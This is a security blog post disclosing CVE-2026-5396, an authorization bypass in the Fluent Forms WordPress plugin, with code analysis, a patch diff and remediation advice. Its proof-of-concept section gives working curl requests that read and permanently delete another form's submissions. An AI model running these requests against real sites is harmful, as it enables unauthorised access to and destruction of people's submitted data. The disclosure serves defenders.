CVE-2026-5396: Fluent Forms Authorization Bypass via form_id (CVSS 8.2)
Table of Contents
CVE-2026-5396 is a CVSS 8.2 High Authorization Bypass Through User-Controlled Key vulnerability in the Fluent Forms WordPress plugin. An authenticated attacker with Fluent Forms Manager access restricted to specific forms can bypass that restriction. They can read, modify, add notes to, and permanently delete form submissions belonging to any other form on the site.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Fluent Forms |
| Plugin Slug | fluentform |
| CVE ID | CVE-2026-5396 |
| CVSS Score | 8.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Vulnerability Type | Authorization Bypass Through User-Controlled Key |
| Affected Versions | <= 6.1.21 |
| Patched Version | 6.2.0 |
| Published | May 13, 2026 |
| Researcher | Sander Horsman - Conda Security |
| Wordfence Advisory | Link |
Description
Fluent Forms lets administrators grant non-admin users “Fluent Forms Manager” access. Admins can restrict a manager to specific forms only. A manager assigned to form A should only see and manage submissions for form A — not form B, C, or any other form.
This restriction is enforced by the SubmissionPolicy class. Because of a logic flaw in versions up to 6.1.21, that restriction can be bypassed. The policy checked permissions using a form_id value that came directly from the HTTP request. An attacker could supply any form_id they were authorized for, while targeting submissions from a completely different form using its entry_id in the URL.
Technical Analysis
How Fluent Forms Manages Submissions
Fluent Forms registers a REST-like API via WordPress admin-ajax. Submission routes are grouped under SubmissionPolicy in app/Http/Routes/api.php.
// app/Http/Routes/api.php (line 58)
$router->prefix('submissions')->withPolicy('SubmissionPolicy')->group(function ($router) {
$router->get('/', 'SubmissionController@index');
$router->get('resources', 'SubmissionController@resources');
$router->post('bulk-actions', 'SubmissionController@handleBulkActions');
$router->get('print', 'SubmissionController@print');
$router->get('all', 'SubmissionController@all');
$router->delete('/{entry_id}', 'SubmissionController@remove');
$router->prefix('{entry_id}')->group(function ($router) {
$router->get('/', 'SubmissionController@find');
$router->post('status', 'SubmissionController@updateStatus');
$router->post('is-favorite', 'SubmissionController@toggleIsFavorite');
$router->get('notes', 'SubmissionNoteController@get');
$router->post('notes', 'SubmissionNoteController@store');
});
});
Notice that entry-scoped routes (read, update status, delete) use {entry_id} in the URL path. This is the ID of the specific submission being targeted.
The Vulnerable Authorization Check
Before any submission action runs, SubmissionPolicy checks whether the current user has access. Here is the vulnerable code in version 6.1.21:
// app/Http/Policies/SubmissionPolicy.php (version 6.1.21)
public function verifyRequest(Request $request)
{
return Acl::hasPermission('fluentform_entries_viewer', $request->get('form_id'));
}
public function handleBulkActions(Request $request)
{
return Acl::hasPermission('fluentform_manage_entries', $request->get('form_id'));
}
Both methods pass $request->get('form_id') to Acl::hasPermission(). This value comes directly from the HTTP query string — it is fully attacker-controlled.
How the Permission Check Works
Acl::hasPermission() calls FormManagerService::hasFormPermission() to check whether the current user has access to the given form:
// app/Modules/Acl/Acl.php (line 118)
public static function hasPermission($permissions, $formId = false)
{
if ($formId && !FormManagerService::hasFormPermission($formId)) {
return false;
}
// ... rest of capability check
}
// app/Services/Manager/FormManagerService.php (line 62)
public static function hasFormPermission($formId)
{
if ($formId && $allowedForm = self::getUserAllowedForms()) {
$formId = is_array($formId) ? array_map('intval', $formId) : [intval($formId)];
return (bool)array_intersect($formId, $allowedForm);
}
return true;
}
The check answers: “Is form_id in the user’s allowed forms list?” If yes, the request is authorized.
The Disconnect Between Authorization and Action
Here is the root cause. Authorization checks form_id from the request. But the actual database operation targets a submission by entry_id from the URL path.
Look at the remove() method in SubmissionController:
// app/Http/Controllers/SubmissionController.php (line 110)
public function remove(SubmissionService $submissionService, $submissionId)
{
try {
$submission = Submission::findOrFail($submissionId);
$submissionService->deleteEntries([$submissionId], $submission->form_id);
The controller fetches the submission by $submissionId (from the URL) and deletes it. It never verifies that $submission->form_id matches the form_id that was used for authorization.
The same pattern applies to find(), updateStatus(), toggleIsFavorite(), and the notes endpoints. In all cases, authorization uses the request’s form_id, but the operation targets the submission by its entry_id.
Full Attack Path
- Admin grants attacker Fluent Forms Manager access, restricted to form 5.
- Attacker’s user meta:
_fluent_forms_has_specific_forms_permission='yes',_fluent_forms_allowed_forms=[5]. - Attacker discovers that submission entry ID 100 exists (belonging to form 10 — a restricted form).
- Attacker sends:
DELETE /wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&form_id=5. SubmissionPolicy::handleBulkActions()checks: does the user have access toform_id=5? Yes. Access granted.SubmissionController::remove()runs with$submissionId= 100. It fetches and deletes submission 100, which belongs to form 10.- Submission from form 10 is permanently deleted — without authorization.
Proof of Concept
Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Do not use against systems you do not own or have explicit written permission to test.
Prerequisites:
- Fluent Forms <= 6.1.21 installed and activated
- Attacker has a WordPress account (any role, e.g. Subscriber)
- Site admin has granted the attacker Fluent Forms Manager access, restricted to at least one specific form (e.g. form ID 5)
- The target submission exists on a different form (e.g. entry ID 100 on form ID 10)
Step 1 — Authenticate and get a nonce.
Log in as the restricted manager and retrieve the admin nonce:
# Log in via WordPress cookie auth (replace with real credentials)
curl -s -c cookies.txt -b cookies.txt \
-d "log=restricted_manager&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
"https://example.com/wp-login.php" -L -o /dev/null
# Get the nonce from the Fluent Forms admin page
NONCE=$(curl -s -b cookies.txt "https://example.com/wp-admin/admin.php?page=fluent_forms" \
| grep -oP '"fluent_forms_admin_nonce":"\K[^"]+')
echo "Nonce: $NONCE"
Step 2 — Read a submission from an unauthorized form.
Send form_id=5 (allowed) but target entry_id=100 (from form 10, not allowed):
curl -s -b cookies.txt \
"https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&fluent_forms_admin_nonce=$NONCE&form_id=5" \
| python3 -m json.tool
Expected result: The response returns the full submission data for entry 100, which belongs to form 10. The attacker was only authorized for form 5.
Step 3 — Delete a submission from an unauthorized form.
curl -s -b cookies.txt -X DELETE \
"https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&fluent_forms_admin_nonce=$NONCE&form_id=5"
Expected result: {"success":true,"data":{"message":"Selected submission successfully deleted Permanently"}}. Entry 100 from form 10 is permanently deleted.
Step 4 — Verify the deletion.
curl -s -b cookies.txt \
"https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&route=submissions/100&fluent_forms_admin_nonce=$NONCE&form_id=5"
Expected result: {"success":false} or a 404-equivalent error. The submission no longer exists.
Patch Analysis
Version 6.2.0 introduces a resolveFormId() private method in SubmissionPolicy. The fix ensures that when an entry_id is present in the request, the authorization uses the form ID from the database — not from the request parameter.
--- a/app/Http/Policies/SubmissionPolicy.php
+++ b/app/Http/Policies/SubmissionPolicy.php
@@ -17,13 +17,19 @@ class SubmissionPolicy extends Policy
public function verifyRequest(Request $request)
{
- return Acl::hasPermission('fluentform_entries_viewer', $request->get('form_id'));
+ $formId = $this->resolveFormId($request);
+ return Acl::hasPermission('fluentform_entries_viewer', $formId);
}
public function handleBulkActions(Request $request)
{
- return Acl::hasPermission('fluentform_manage_entries', $request->get('form_id'));
+ $formId = $this->resolveFormId($request);
+ return Acl::hasPermission('fluentform_manage_entries', $formId);
}
+
+ private function resolveFormId(Request $request)
+ {
+ $entryId = $request->get('entry_id');
+ if ($entryId) {
+ $submission = Submission::select('form_id')->find(intval($entryId));
+ if ($submission) {
+ return $submission->form_id;
+ }
+ }
+
+ $formId = $request->get('form_id');
+ return $formId ? intval($formId) : null;
+ }
When an entry_id is present, the fix looks up the actual form_id of that submission from the database. The authorization then checks whether the user has access to that form — the form the submission actually belongs to. An attacker can no longer pass their allowed form ID while targeting a different form’s submission.
The companion fix in SubmissionController also replaces the user-supplied submission_id body parameter with the entry_id route parameter for the updateSubmissionUser action, closing a similar mismatch.
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Wordfence publicly disclosed the vulnerability |
| May 13, 2026 | Fluent Forms 6.2.0 released with the fix |
| May 14, 2026 | This blog post published |
Remediation
Update Fluent Forms to version 6.2.0 or later immediately.
- Go to WordPress Admin → Plugins → Updates and update Fluent Forms.
- Or download the patched version from wordpress.org/plugins/fluentform.
If you cannot update immediately, review which users have Fluent Forms Manager access. Consider revoking form-restricted manager access until the update can be applied. There is no other workaround — the vulnerability is in the core authorization logic.
References
- Wordfence Advisory — CVE-2026-5396
- CVE-2026-5396 on cve.org
- Fluent Forms on wordpress.org
- Fluent Forms 6.2.0 — Patched Release
- Researcher: Sander Horsman — Conda Security
Frequently Asked Questions
What is CVE-2026-5396?
CVE-2026-5396 is a CVSS 8.2 High severity Authorization Bypass vulnerability in the Fluent Forms WordPress plugin. A restricted Fluent Forms Manager can read, modify, add notes to, and permanently delete form submissions from any form, not just the ones they are authorized for.
Which versions of Fluent Forms are affected by CVE-2026-5396?
All versions up to and including 6.1.21 are affected. Version 6.2.0 contains the fix.
What can an attacker do with CVE-2026-5396?
An attacker with Fluent Forms Manager access restricted to specific forms can read submissions from any other form, change submission statuses, add notes, toggle favorite status, and permanently delete submissions they should not be able to access.
Does an attacker need to be logged in to exploit CVE-2026-5396?
Yes. The attacker must have at least Subscriber-level WordPress access and must be granted Fluent Forms Manager permissions by an administrator, with access restricted to specific forms.
How do I fix CVE-2026-5396 in Fluent Forms?
Update Fluent Forms to version 6.2.0 or later from the WordPress admin dashboard or wordpress.org.
Has Fluent Forms been patched for CVE-2026-5396?
Yes. Version 6.2.0 was released and resolves this vulnerability by resolving the real form_id from the database instead of trusting the user-supplied form_id parameter.